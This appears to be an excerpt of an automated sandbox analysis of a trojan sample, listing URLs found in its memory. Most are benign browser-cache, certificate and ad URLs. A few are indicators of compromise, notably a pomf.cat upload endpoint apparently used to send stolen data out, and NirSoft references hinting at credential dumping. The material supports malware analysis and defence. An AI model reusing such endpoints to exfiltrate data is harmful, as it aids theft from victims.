Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0=
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl3.digicert.com/sha2-ev-server-g2.crl04
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl3.digicert.com/sha2-ha-server-g6.crl04
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl3.digicert.com/ssca-ecc-g1.crl0.
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl3.digicert.com/ssca-sha2-g6.crl0/
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl0=
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertSecureSiteECCCA-1.crl0L
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-ev-server-g2.crl0K
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-ha-server-g6.crl0L
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl4.digicert.com/ssca-ecc-g1.crl0L
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://crl4.digicert.com/ssca-sha2-g6.crl0L
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://images.outbrainimg.com/transform/v3/eyJpdSI6IiIsIml1ZSI6Imh0dHA6Ly9pbWFnZXMyLnplbWFudGEuY29tL
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://images.outbrainimg.com/transform/v3/eyJpdSI6IjE4MmE0M2M0MDY3OGU1N2E4MjhkM2NjNDdlNGMzZmNkYjU1N
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://images.outbrainimg.com/transform/v3/eyJpdSI6Ijc4NDFiMmZlNWMxZGU2M2JkNDdjMGQzZWI3NjIzYjlkNWU5N
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://images.outbrainimg.com/transform/v3/eyJpdSI6ImY3MDA1MDJkMTdmZDY0M2VkZTBjNzg5MTE1OWEyYTYxMWRiN
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA7XCQ3?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AADuG4N?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AADuQtg?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jp
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AADuTly?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jp
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AADuTp7?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=jp
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AADuY5J?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jp
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AADuZko?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AADuqZ9?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AADv4Ge?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AADv842?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=jp
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AADvbPR?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=jp
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AADvbce?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=jp
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AADvrrg?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jp
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyXiwM?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyuliQ?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzjSw3?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB16g6qc?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB18T33l?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB18qTPD?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19x3nX?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xGDT?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xJbM?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19xaUu?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yF6n?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yHSm?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yKf2?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19ylKx?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yqHP?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yuvA?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB19yxVU?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB46JmN?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB6Ma4a?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBO5Geh?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBPfCZL?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBRUB0d?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBVuddh?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBWoHwx?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBX2afX?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBi9v6?m=6&o=true&u=true&n=true&w=30&h=30
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBih5H?m=6&o=true&u=true&n=true&w=30&h=30
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBkwUr?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBnYSFZ?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BByBEMv?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://ocsp.digicert.com0:
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://ocsp.digicert.com0B
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://ocsp.digicert.com0E
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://ocsp.digicert.com0F
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://ocsp.digicert.com0K
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://ocsp.digicert.com0M
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://ocsp.digicert.com0R
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://ocsp.globalsign.com/rootr103
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://ocsp.msocsp.com0
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://ocsp.pki.goog/GTSGIAG30
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://ocsp.pki.goog/gsr202
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://ocsp.pki.goog/gts1o1core0
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://ocsp2.globalsign.com/cloudsslsha2g30V
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0#
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0M
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://pki.goog/gsr2/GTSGIAG3.crt0)
Source: RegAsm.exe, 00000001.00000002.516249428.00000000031E3000.00000004.00000001.sdmp	String found in binary or memory: http://pomf.cat/upload.php
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe, 00000000.00000003.248337037.0000000000FF0000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.AutoIt.316.10986.exe, 00000000.00000003.251645855.0000000000FF2000.00000040.00000001.sdmp, RegAsm.exe, 00000001.00000000.252098069.0000000000402000.00000020.00000001.sdmp, RegAsm.exe, 00000001.00000000.251237840.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: http://pomf.cat/upload.php&https://a.pomf.cat/
Source: RegAsm.exe, 00000001.00000002.516249428.00000000031E3000.00000004.00000001.sdmp	String found in binary or memory: http://pomf.cat/upload.phpCContent-Disposition:
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://secure.globalsign.com/cacert/cloudsslsha2g3.crt06
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/2366737e/webcore/externalscripts/oneTrust/ski
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/5445db85/webcore/externalscripts/oneTrust/de-
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/975a7d20/webcore/externalscripts/jquery/jquer
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/css/3bf20fde-50425371/directi
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/css/f60532dd-3aac3bb8/directi
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/3bf20fde-2923b6c2/directio
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/3bf20fde-b532f4eb/directio
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/f60532dd-2923b6c2/directio
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/f60532dd-f8dd99d9/directio
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/11/755f86.png
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/64/a8a064.gif
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/81/58b810.gif
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/86/2042ed.woff
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/9b/e151e5.gif
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/ea/4996b9.woff
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA7XCQ3.img?h=16&w=16&m
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADuG4N.img?h=75&w=100&
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADuQtg.img?h=166&w=310
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADuTly.img?h=166&w=310
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADuTp7.img?h=333&w=311
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADuY5J.img?h=166&w=310
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADuZko.img?h=75&w=100&
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADuqZ9.img?h=75&w=100&
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADv4Ge.img?h=75&w=100&
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADv842.img?h=250&w=300
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADvbPR.img?h=250&w=300
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADvbce.img?h=333&w=311
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AADvrrg.img?h=166&w=310
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAyXiwM.img?h=16&w=16&m
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAyuliQ.img?h=16&w=16&m
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAzjSw3.img?h=16&w=16&m
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB16g6qc.img?h=27&w=27&
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB18T33l.img?h=333&w=31
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB18qTPD.img?h=16&w=16&
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19x3nX.img?h=166&w=31
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xGDT.img?h=166&w=31
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xJbM.img?h=75&w=100
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19xaUu.img?h=166&w=31
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yF6n.img?h=333&w=31
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yHSm.img?h=75&w=100
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yKf2.img?h=250&w=30
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19ylKx.img?h=75&w=100
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yqHP.img?h=75&w=100
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yuvA.img?h=250&w=30
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yxVU.img?h=166&w=31
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB46JmN.img?h=16&w=16&m
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB6Ma4a.img?h=16&w=16&m
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBO5Geh.img?h=16&w=16&m
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBRUB0d.img?h=16&w=16&m
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBVuddh.img?h=16&w=16&m
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBWoHwx.img?h=27&w=27&m
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBX2afX.img?h=27&w=27&m
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBi9v6.img?m=6&o=true&u
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBih5H.img?m=6&o=true&u
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBkwUr.img?h=16&w=16&m=
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnYSFZ.img?h=16&w=16&m
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BByBEMv.img?h=16&w=16&m
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://www.msn.com
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://www.msn.com/
Source: vbc.exe, 00000003.00000003.270439604.000000000227A000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.269900621.0000000002263000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.270303506.0000000002276000.00000004.00000001.sdmp, bhv4453.tmp.3.dr	String found in binary or memory: http://www.msn.com/?ocid=iehp
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://www.msn.com/de-ch/?ocid=iehp
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/consent/55a804
Source: bhv4453.tmp.3.dr	String found in binary or memory: http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/scripttemplate
Source: vbc.exe, 00000003.00000002.273144244.000000000019C000.00000004.00000001.sdmp	String found in binary or memory: http://www.nirsoft.net
Source: vbc.exe, 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: http://www.nirsoft.net/
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4842492154761;g
Source: vbc.exe, 00000003.00000003.269900621.0000000002263000.00000004.00000001.sdmp, bhv4453.tmp.3.dr	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=58648497779
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852
Source: RegAsm.exe, 00000001.00000002.516249428.00000000031E3000.00000004.00000001.sdmp	String found in binary or memory: https://a.pomf.cat/
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gt
Source: vbc.exe, 00000003.00000003.269900621.0000000002263000.00000004.00000001.sdmp, bhv4453.tmp.3.dr	String found in binary or memory: https://adservice.google.com/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaot
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingth
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://amp.azure.net/libs/amp/1.8.0/azuremediaplayer.min.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC54c8a2b02c3446f48a60b41e8a5ff47
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC5bdddb231cf54f958a5b6e76e9d8eee
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC828bc1cde9f04b788c98b5423157734
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RC9b2d2bc73c8a4a1d8dd5c3d69b6634a
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc13122162a9a46c3b4cbf05ffccde0f
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc71c68d7b8f049b6a6f3b669bd5d00c
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCee0d4d5fd4424c8390d703b105f82c3
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCfd484f9188564713bbc5d13d862ebbf
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://assets.adobedtm.com/launch-EN7b3d710ac67a4a1195648458258f97dd.min.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://az416426.vo.msecnd.net/scripts/a/ai.0.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://az725175.vo.msecnd.net/scripts/jsll-4.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://contextual.media.net/
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://contextual.media.net/48/nrrV18753.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://contextual.media.net/803288796/fcmain.js?&gdpr=0&cid=8CU157172&cpcd=pC3JHgSCqY8UHihgrvGr0A%3
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://contextual.media.net/__media__/js/util/nrrV9140.js
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2
Source: vbc.exe, 00000003.00000003.272251788.00000000028BB000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/checksync.phphttps://contextual.medi
Source: vbc.exe, 00000003.00000003.269966059.000000000226E000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.270109165.0000000002276000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/checksync.phphttps://contextual.media.net/checksync.php?&vsSync=1&cs=1&
Source: vbc.exe, 00000003.00000002.273357379.0000000002848000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/checksync.phpm
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1
Source: vbc.exe, 00000003.00000003.269966059.000000000226E000.00000004.00000001.sdmp, vbc.exe, 00000003.00000003.270109165.0000000002276000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1https://c
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://cvision.media.net/new/286x175/2/57/35/144/83ebc513-f6d1-4e0e-a39a-bef975147e85.jpg?v=9
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://cvision.media.net/new/286x175/2/75/95/36/612b163a-ff7b-498a-bad2-3c52bbd2c504.jpg?v=9
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://cvision.media.net/new/286x175/2/89/162/29/8ee7a9a3-dec9-4d15-94e1-5c73b17d2de1.jpg?v=9
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://cvision.media.net/new/286x175/3/248/152/169/520bb037-5f8d-42d6-934b-d6ec4a6832e8.jpg?v=9
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://cvision.media.net/new/300x194/2/138/47/25/3b2da2d4-7a38-47c3-b162-f33e769f51f5.jpg?v=9
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://cvision.media.net/new/300x300/3/167/174/27/39ab3103-8560-4a55-bfc4-401f897cf6f2.jpg?v=9
Source: bhv4453.tmp.3.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
